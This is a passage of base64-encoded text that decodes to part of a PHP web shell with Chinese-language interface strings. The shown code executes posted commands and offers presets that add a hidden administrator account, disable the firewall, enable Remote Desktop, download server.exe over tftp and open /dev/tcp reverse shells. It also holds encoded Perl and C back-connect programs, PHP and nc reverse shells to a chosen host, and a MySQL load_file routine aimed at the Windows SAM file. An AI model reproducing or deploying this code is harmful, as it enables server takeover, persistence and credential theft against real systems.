icgLiAizrTWqiIgLiAnPC90ZD48L3RyPicgLiAiXG4iOwogICAgICAgIGVjaG8gJzx0cj48dGQgd2lkdGg9IjQwJSI+UGNBbnl3aGVyZbbLv9rOqjwvdGQ+PHRkPicgLiAizrTWqiIgLiAnPC90ZD48L3RyPicgLiAiXG4iOwogICAgICAgIGVjaG8gJzwvdGFibGU+JzsKICAgICAgICBicmVhazsKICAgIGNhc2UgImNtZCI6CiAgICAgICAgJHJlcyA9ICe72M/UtLC/2ic7CiAgICAgICAgJGNtZCA9ICd3aG9hbWknOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydjbWQnXSkpIHsKICAgICAgICAgICAgJHJlcyA9IEV4ZWNfUnVuKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjbWQnXSkpOwogICAgICAgICAgICAkY21kID0gaHRtbHNwZWNpYWxjaGFycyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY21kJ10pKTsKICAgICAgICB9CgogICAgICAgIHByaW50PDw8RU5ECjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBzRnVsbChpKXsKCVN0ciA9IG5ldyBBcnJheSgxMSk7CglTdHJbMF0gPSAiZGlyIjsKCVN0clsxXSA9ICJuZXQgdXNlciBteXNxbCQgZW52bCAvYWRkIjsKCVN0clsyXSA9ICJuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyBteXNxbCQgL2FkZCI7CglTdHJbM10gPSAibmV0c3RhdCAtYW5vIjsKCVN0cls0XSA9ICJpcGNvbmZpZyI7CglTdHJbNV0gPSAidGFza2xpc3QgL3N2YyI7CglTdHJbNl0gPSAidGZ0cCAtaSB7JF9TRVJWRVJbIlJFTU9URV9BRERSIl19IGdldCBzZXJ2ZXIuZXhlIGM6XFxzZXJ2ZXIuZXhlIjsKCVN0cls3XSA9ICdSRUcgQUREIEhLTE1cXFxcU1lTVEVNXFxcXEN1cnJlbnRDb250cm9sU2V0XFxcXENvbnRyb2xcXFxcVGVybWluYWwiICJTZXJ2ZXIgL3YgZkRlbnlUU0Nvbm5lY3Rpb25zIC90IFJFR19EV09SRCAvZCAwMDAwMDAwMCAvZic7CglTdHJbOF0gPSAibmV0c2ggYWR2ZmlyZXdhbGwgc2V0IGFsbHByb2ZpbGVzIHN0YXRlIG9mZiI7CglTdHJbOV0gPSAibHMgLWwiOwoJU3RyWzEwXSA9ICJjYXQgL3Byb2MvMS9jZ3JvdXAiOwoJU3RyWzExXSA9ICIwPCYxMjM7ZXhlYyAxMjM8Pi9kZXYvdGNwL3skX1NFUlZFUlsiUkVNT1RFX0FERFIiXX0vMTI2NjY7IHNoIDwmMTIzID4mMTIzIDI+JjEyMyI7CglTdHJbMTJdID0gImJhc2ggLWkgPiYgL2Rldi90Y3AveyRfU0VSVkVSWyJSRU1PVEVfQUREUiJdfS8yMzY2IDA+JjEiOwoJU3RyWzEzXSA9ICJuZXRzdGF0IC1hbnAiOwoJCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykudmFsdWUgPSBTdHJbaV07CglyZXR1cm4gdHJ1ZTsKfQpFTkQ7CiAgICAgICAgaHRtbF9iYXNlKCk7CiAgICAgICAgcHJpbnQ8PDxFTkQKZnVuY3Rpb24gU3VibWl0VXJsKCl7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS52YWx1ZSA9IGJhc2U2NGVuY29kZShkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykudmFsdWUpOwoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ2Zvcm0nKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJnZm9ybSIgaWQ9Imdmb3JtIiA+PGNlbnRlcj48ZGl2IGNsYXNzPSJhY3RhbGwiPta00NDD/MHu0MLU9rrctuDS/rLYuq/K/aOszeK808q508NCQVNFNjS808PczOG9u6Ost8DWubG7wLmjqNChz7i92qOstPOzyb7No6k8L2Rpdj48ZGl2IGNsYXNzPSJhY3RhbGwiPgrD/MHuss7K/SA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBpZD0iY21kIiB2YWx1ZT0ieyRjbWR9IiBvbmtleWRvd249ImlmKGV2ZW50LmtleUNvZGU9PTEzKVN1Ym1pdFVybCgpOyIgc3R5bGU9IndpZHRoOjM5OXB4OyI+CjxzZWxlY3Qgb25jaGFuZ2U9J3JldHVybiBzRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+CjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPl9fd2luZG93c8P8we5fXzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj7M7bzTudzA7dSxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIiPsnozqq53MDt1+k8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyI+sum/tLbLv9o8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNCI+sum/tLXY1rc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSI+sum/tL34s8w8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNiI+RlRQz8LU2Dwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3Ij6/qjMzODk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iOCI+udix1bfAu/DHvTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI5Ij5fX0xpbnV4w/zB7l9fPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj5kb2NrZXK87LLiPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIj5MaW51eLe0ta88L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiPmJhc2i3tLWvPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIj5MaW51eLbLv9o8L29wdGlvbj4KPC9zZWxlY3Q+Cgk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i1rTQ0CIgb25jbGljaz0iU3VibWl0VXJsKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPgo8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48dGV4dGFyZWEgbmFtZT0ic2hvdyIgc3R5bGU9IndpZHRoOjY2MHB4O2hlaWdodDozOTlweDsiPnskcmVzfTwvdGV4dGFyZWE+PC9kaXY+PC9jZW50ZXI+CjwvZm9ybT4KRU5EOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgImxpbnV4IjoKCiAgICAgICAgJHlvdXJpcCA9ICRfQ09PS0lFWyd5b3VyaXAnXSA/ICRfQ09PS0lFWyd5b3VyaXAnXSA6IGdldGVudignUkVNT1RFX0FERFInKTsKICAgICAgICAkeW91cnBvcnQgPSAkX0NPT0tJRVsneW91cnBvcnQnXSA/ICRfQ09PS0lFWyd5b3VycG9ydCddIDogJzEyMzg4JzsKCiAgICAgICAgJHN5c3RlbSA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpOwogICAgICAgIHByaW50PDw8RU5ECjxkaXYgY2xhc3M9ImFjdGFsbCI+yrnTw7e9t6ijujxicj4KCQkJz8jU2tfUvLq158TU1MvQ0CJuYyAtdnYgLWwgMTIzODgiPGJyPgoJCQnIu7rz1Nq0y8zu0LTE47XnxNS1xElQLLXjway906OhtMu3tLWvutzIq7rcyrXTw6OhsPzAqE5Dt7S1r6OhPC9kaXY+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ia2Zvcm0iIGlkPSJrZm9ybSI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+xOO1xLXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJpcCIgdmFsdWU9InskeW91cmlwfSIgc3R5bGU9IndpZHRoOjQwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7BrL3Ttsu/2iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ieW91cnBvcnQiIHZhbHVlPSJ7JHlvdXJwb3J0fSIgc3R5bGU9IndpZHRoOjQwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7WtNDQt73KvSA8c2VsZWN0IG5hbWU9InVzZSIgPgo8b3B0aW9uIHZhbHVlPSJwZXJsIj5QZXJsPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImMiPkM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0icGhwIj5QSFA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0ibmMiPk5DPC9vcHRpb24+Cjwvc2VsZWN0PjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK/qsq8way90yIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+CkVORDsKICAgICAgICBpZiAoKCFlbXB0eSgkX1BPU1RbJ3lvdXJpcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3lvdXJwb3J0J10pKSkgewogICAgICAgICAgICBzZXRjb29raWUoJ3lvdXJpcCcsICRfUE9TVFsneW91cmlwJ10pOwogICAgICAgICAgICBzZXRjb29raWUoJ3lvdXJwb3J0JywgJF9QT1NUWyd5b3VycG9ydCddKTsKCiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKICAgICAgICAgICAgaWYgKCRfUE9TVFsndXNlJ10gPT0gJ3BlcmwnKSB7CiAgICAgICAgICAgICAgICAkYmFja19jb25uZWN0X3BsID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoiIC4KICAgICAgICAgICAgICAgICAgICAiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIgLgogICAgICAgICAgICAgICAgICAgICJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUIiAuCiAgICAgICAgICAgICAgICAgICAgInNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0kiIC4KICAgICAgICAgICAgICAgICAgICAia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIgLgogICAgICAgICAgICAgICAgICAgICJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsIiAuCiAgICAgICAgICAgICAgICAgICAgIk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOwogICAgICAgICAgICAgICAgZWNobyBGaWxlX1dyaXRlKCcvdG1wL2VudmxfYmMnLCBiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfcGwpLCAnd2InKSA/ICe0tL2oL3RtcC9lbnZsX2Jjs8m5pjxicj4nIDogJ7S0vagvdG1wL2VudmxfYmPKp7DcPGJyPic7CiAgICAgICAgICAgICAgICAkcGVybHBhdGggPSBFeGVjX1J1bignd2hpY2ggcGVybCcpOwogICAgICAgICAgICAgICAgJHBlcmxwYXRoID0gJHBlcmxwYXRoID8gY2hvcCgkcGVybHBhdGgpIDogJ3BlcmwnOwogICAgICAgICAgICAgICAgQHVubGluaygnL3RtcC9lbnZsX2JjLmMnKTsKICAgICAgICAgICAgICAgIGVjaG8gRXhlY19SdW4oJHBlcmxwYXRoIC4gJyAvdG1wL2VudmxfYmMgJyAuICRfUE9TVFsneW91cmlwJ10gLiAnICcgLiAkX1BPU1RbJ3lvdXJwb3J0J10gLiAnICYnKSA/ICduYyAtdnYgLWwgJyAuICRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX1BPU1RbJ3VzZSddID09ICdjJykgewogICAgICAgICAgICAgICAgJGJhY2tfY29ubmVjdF9jID0gIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIiAuCiAgICAgICAgICAgICAgICAgICAgIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiIC4KICAgICAgICAgICAgICAgICAgICAiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIgLgogICAgICAgICAgICAgICAgICAgICJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIiAuCiAgICAgICAgICAgICAgICAgICAgInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiIC4KICAgICAgICAgICAgICAgICAgICAiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIgLgogICAgICAgICAgICAgICAgICAgICJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIiAuCiAgICAgICAgICAgICAgICAgICAgIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsKICAgICAgICAgICAgICAgIGVjaG8gRmlsZV9Xcml0ZSgnL3RtcC9lbnZsX2JjLmMnLCBiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfYyksICd3YicpID8gJ7S0vagvdG1wL2VudmxfYmMuY7PJuaY8YnI+JyA6ICe0tL2oL3RtcC9lbnZsX2JjLmPKp7DcPGJyPic7CiAgICAgICAgICAgICAgICAkcmVzID0gRXhlY19SdW4oJ2djYyAtbyAvdG1wL2VudmxfYmMgL3RtcC9lbnZsX2JjLmMnKTsKICAgICAgICAgICAgICAgIEB1bmxpbmsoJy90bXAvZW52bF9iYy5jJyk7CiAgICAgICAgICAgICAgICBlY2hvIEV4ZWNfUnVuKCcvdG1wL2VudmxfYmMgJyAuICRfUE9TVFsneW91cmlwJ10gLiAnICcgLiAkX1BPU1RbJ3lvdXJwb3J0J10gLiAnICYnKSA/ICduYyAtdnYgLWwgJyAuICRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX1BPU1RbJ3VzZSddID09ICdwaHAnKSB7CiAgICAgICAgICAgICAgICBpZiAoIWV4dGVuc2lvbl9sb2FkZWQoJ3NvY2tldHMnKSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkc3lzdGVtID09ICdXSU4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEBkbCgncGhwX3NvY2tldHMuZGxsJykgb3IgZGllKCJDYW4ndCBsb2FkIHNvY2tldCIpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEBkbCgnc29ja2V0cy5zbycpIG9yIGRpZSgiQ2FuJ3QgbG9hZCBzb2NrZXQiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHN5c3RlbSA9PSAiV0lOIikgewogICAgICAgICAgICAgICAgICAgICRlbnYgPSBhcnJheSgncGF0aCcgPT4gJ2M6XFx3aW5kb3dzXFxzeXN0ZW0zMicpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkZW52ID0gYXJyYXkoJ1BBVEgnID0+ICcvYmluOi91c3IvYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW4nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgICAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLAogICAgICAgICAgICAgICAgICAgIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpLAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICRob3N0ID0gJF9QT1NUWyd5b3VyaXAnXTsKICAgICAgICAgICAgICAgICRwb3J0ID0gJF9QT1NUWyd5b3VycG9ydCddOwogICAgICAgICAgICAgICAgJGhvc3QgPSBnZXRob3N0YnluYW1lKCRob3N0KTsKICAgICAgICAgICAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCJ0Y3AiKTsKICAgICAgICAgICAgICAgIGlmICgoJHNvY2sgPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pKSA8IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoIlNvY2tldLS0vajKp7DcIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoKCRyZXQgPSBzb2NrZXRfY29ubmVjdCgkc29jaywgJGhvc3QsICRwb3J0KSkgPCAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCLBrL3Tyqew3CIpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tUEhQt7S1r8GsvdMtLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsKICAgICAgICAgICAgICAgICAgICBzb2NrZXRfd3JpdGUoJHNvY2ssICRtZXNzYWdlLCBzdHJsZW4oJG1lc3NhZ2UpKTsKICAgICAgICAgICAgICAgICAgICAkY3dkID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRjbWQgPSBzb2NrZXRfcmVhZCgkc29jaywgNjU1MzUsICRwcm90bykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHRyaW0oc3RydG9sb3dlcigkY21kKSkgPT0gImV4aXQiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzb2NrZXRfd3JpdGUoJHNvY2ssICJCeWVcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRjbWQsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzLCAkY3dkLCAkZW52KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJHBpcGVzWzBdLCAkY21kKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXNnID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkc29jaywgJG1zZywgc3RybGVuKCRtc2cpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXNnID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkc29jaywgJG1zZywgc3RybGVuKCRtc2cpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0dXJuX3ZhbHVlID0gcHJvY19jbG9zZSgkcHJvY2Vzcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfUE9TVFsndXNlJ10gPT0gJ25jJykgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwogICAgICAgICAgICAgICAgJG1pcCA9ICRfUE9TVFsneW91cmlwJ107CiAgICAgICAgICAgICAgICAkYnBvcnQgPSAkX1BPU1RbJ3lvdXJwb3J0J107CiAgICAgICAgICAgICAgICAkZnAgPSBmc29ja29wZW4oJG1pcCwgJGJwb3J0LCAkZXJybm8sICRlcnJzdHIpOwogICAgICAgICAgICAgICAgaWYgKCEkZnApIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gIkVycm9yOiBjb3VsZCBub3Qgb3BlbiBzb2NrZXQgY29ubmVjdGlvbiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGZwdXRzKCRmcCwgIlxuKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqXG4KCQkgICAgICAgICAgICAgIGhhY2tpbmcgdXJsOmh0dHA6Ly93d3cuZ29vZ2xlLmNvbSBpcyBvayEKCQkJICAgICAgICAgIFxuKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqXG5cbiIpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICghZmVvZigkZnApKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZwdXRzKCRmcCwgIiBbcjAwdEB5emRkbXI2Oi9yb290XSMgIik7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBmZ2V0cygkZnAsIDQwOTYpOwogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9IGAkcmVzdWx0YDsKICAgICAgICAgICAgICAgICAgICAgICAgZnB1dHMoJGZwLCAiLS0+ICIgLiAkbWVzc2FnZSAuICJcbiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVjaG8gJzxicj7E47/J0tSzosrUway907bLv9ogKG5jIC12diAtbCAnIC4gJF9QT1NUWyd5b3VycG9ydCddIC4gJykgJzsKICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAic3Fsc2hlbGwiOgogICAgICAgICRNU0dfQk9YID0gJyc7CiAgICAgICAgJG1ob3N0ID0gJ2xvY2FsaG9zdCc7CiAgICAgICAgJG11c2VyID0gJ3Jvb3QnOwogICAgICAgICRtcG9ydCA9ICczMzA2JzsKICAgICAgICAkbXBhc3MgPSAnJzsKICAgICAgICBpZihpc3NldCgkX1NFU1NJT05bJ21wYXNzJ10pKQogICAgICAgICAgICAkbXBhc3MgPSAkX1NFU1NJT05bJ21wYXNzJ107CgogICAgICAgICRtZGF0YSA9ICdteXNxbCc7CiAgICAgICAgJG1zcWwgPSAnc2VsZWN0IHZlcnNpb24oKTsnOwogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpIHsKICAgICAgICAgICAgJG1ob3N0ID0gJF9QT1NUWydtaG9zdCddOwogICAgICAgICAgICAkbXVzZXIgPSAkX1BPU1RbJ211c2VyJ107CiAgICAgICAgICAgICRtcGFzcyA9ICRfUE9TVFsnbXBhc3MnXTsKICAgICAgICAgICAgaWYoIWlzc2V0KCRfU0VTU0lPTlsnbXBhc3MnXSkpCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ21wYXNzJ10gPSAkbXBhc3M7CgogICAgICAgICAgICAkbWRhdGEgPSAkX1BPU1RbJ21kYXRhJ107CiAgICAgICAgICAgICRtcG9ydCA9ICRfUE9TVFsnbXBvcnQnXTsKICAgICAgICAgICAgaWYgKCRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJG1ob3N0IC4gJzonIC4gJG1wb3J0LCAkbXVzZXIsICRtcGFzcykpIEBteXNxbGlfc2VsZWN0X2RiKCRjb25uLCAkbWRhdGEpOwogICAgICAgICAgICBlbHNlICRNU0dfQk9YID0gJ8GsvdNNWVNRTMqnsNwnOwogICAgICAgIH0KICAgICAgICAkZG93bmZpbGUgPSAnYzovd2luZG93cy9yZXBhaXIvc2FtJzsKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZG93bmZpbGUnXSkpIHsKICAgICAgICAgICAgJGRvd25maWxlID0gRmlsZV9TdHIoJF9QT1NUWydkb3duZmlsZSddKTsKICAgICAgICAgICAgJGJpbnBhdGggPSBiaW4yaGV4KCRkb3duZmlsZSk7CiAgICAgICAgICAgICRxdWVyeSA9ICdzZWxlY3QgbG9hZF9maWxlKDB4JyAuICRiaW5wYXRoIC4gJyknOwogICAgICAgICAgICBpZiAoJHJlc3VsdCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgJGsgPSAwOwogICAgICAgICAgICAgICAgJGRvd25jb2RlID0gJyc7CiAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAkZG93bmNvZGUgLj0gJHJvd1ska107CiAgICAgICAgICAgICAgICAgICAgJGsrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRmaWxlZG93biA9IGJhc2VuYW1lKCRkb3duZmlsZSk7CiAgICAgICAgICAgICAgICBpZiAoISRmaWxlZG93bikgJGZpbGVkb3duID0gJ2VudmwudG1wJzsKICAgICAgICAgICAgICAgICRhcnJheSA9IGV4cGxvZGUoJy4nLCAkZmlsZWRvd24pOwogICAgICAgICAgICAgICAgJGFycmF5ZW5kID0gYXJyYXlfcG9wKCRhcnJheSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nIC4gJGFycmF5ZW5kKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuICRmaWxlZG93bik7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gc3RybGVuKCRkb3duY29kZSkpOwogICAgICAgICAgICAgICAgZWNobyAkZG93bmNvZGU7CiAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggPSAnz8LU2M7EvP7Kp7DcJzsKICAgICAgICB9CiAgICAgICAgJG8gPSBpc3NldCgkX0dFVFsnbyddKSA/ICRfR0VUWydvJ10gOiAnJzsKICAgICAgICBwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gbkZ1bGwo